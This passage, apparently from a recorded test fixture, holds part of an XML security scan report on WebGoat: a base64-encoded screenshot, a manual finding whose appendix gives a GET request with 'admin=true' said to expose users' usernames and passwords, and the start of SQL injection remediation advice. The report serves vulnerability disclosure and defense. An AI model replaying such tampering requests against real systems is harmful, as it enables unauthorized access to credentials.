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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
